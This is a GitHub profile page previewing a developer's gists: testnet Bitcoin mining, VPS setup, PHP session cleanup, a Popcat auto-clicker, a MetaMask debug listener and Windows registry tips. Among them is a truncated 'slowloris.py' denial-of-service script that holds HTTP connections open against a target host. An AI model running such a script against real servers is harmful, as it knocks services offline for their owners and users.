Skip to content

Instantly share code, notes, and snippets.

View DaWe35's full-sized avatar

DaWe DaWe35

View GitHub Profile
@DaWe35
DaWe35 / mine.sh
Last active April 28, 2024 21:23
Bitcoin Core CPU mining bash loop for testnet
while [ 1 ]
do
bitcoin-cli generatetoaddress 1 "2N5fJkfCv4cF6vsa5QQJnsazBKWNXynn9zp" 10000000
done
@DaWe35
DaWe35 / Sia Central ARM.md
Last active April 8, 2020 15:45
Sia Central host manager build on ARM (armv7l = 32 bit)

download source from the latest release.

npm install phantomjs-prebuilt --ignore-scripts

npm install

npm audit fix

rm -rf node_modules/electron & npm install electron

@DaWe35
DaWe35 / VPS initial setup.md
Created May 27, 2020 13:22
VPS initial setup

Add user & disable root login

adduser USER
passwd USER
# add user to sudoers
usermod -aG sudo USER
# change user
su - USER
sudo nano /etc/ssh/sshd_config
@DaWe35
DaWe35 / slowloris.py
Created November 5, 2020 11:07
Simple python slowloris
from pwn import *
def attack(wait):
print("Waiting for "+str(wait)+" secs..")
sleep(wait)
while True:
r = remote(sys.argv[1], sys.argv[2])
cnt = 0
try:
r.sendline("GET / HTTP/1.1\r")
@DaWe35
DaWe35 / session_cleanup.sh
Last active November 14, 2020 11:58
Remove old PHP sessions from /tmp
find /tmp -name 'sess_*' -mtime +5 -exec rm {} \;
@DaWe35
DaWe35 / my_ubuntu_config.md
Last active January 28, 2022 09:52
Make my Ubuntu more awesome
/*
1) Open https://popcat.click
2) Open console (F12)
3) Insert code & run
*/
var event = new KeyboardEvent('keydown', {
key: 'g',
ctrlKey: true
<script>
jQuery(document).ready(function($) {
function checkFunction(color) {
console.log(color);
var x = $("li." + color);
var exists = false;
for (var i = 0; i < x.length; i++) {
if($(x[i]).hasClass("active")) {
@DaWe35
DaWe35 / Debug metamask communications.js
Last active June 8, 2022 23:01
Open a web3 webpage, open console and enter this listener so it will log the communication between the site and Metamask.
onmessage = event => {
console.error('Metamask:', event.data.data.data)
}
@DaWe35
DaWe35 / Win11-context.md
Last active February 15, 2023 12:50
Windows 11 new context menu customization

If you like the design and the speed of the new context menu, but you find it useless, I have good news for you: you can customize it and make the new Win11 context more personalized.

Remove unused items

To remove unused items, you must remove items from the registry. You'll find some items in these folders, but you can also search for specific items you see in the context menu.

HKEY_CLASSES_ROOT\Folder\shell\ (Do NOT remove opennewwindow - it is required for file explorer to work on your windows tray.)

HKEY_CLASSES_ROOT\exefile\shellex\ContextMenuHandlers\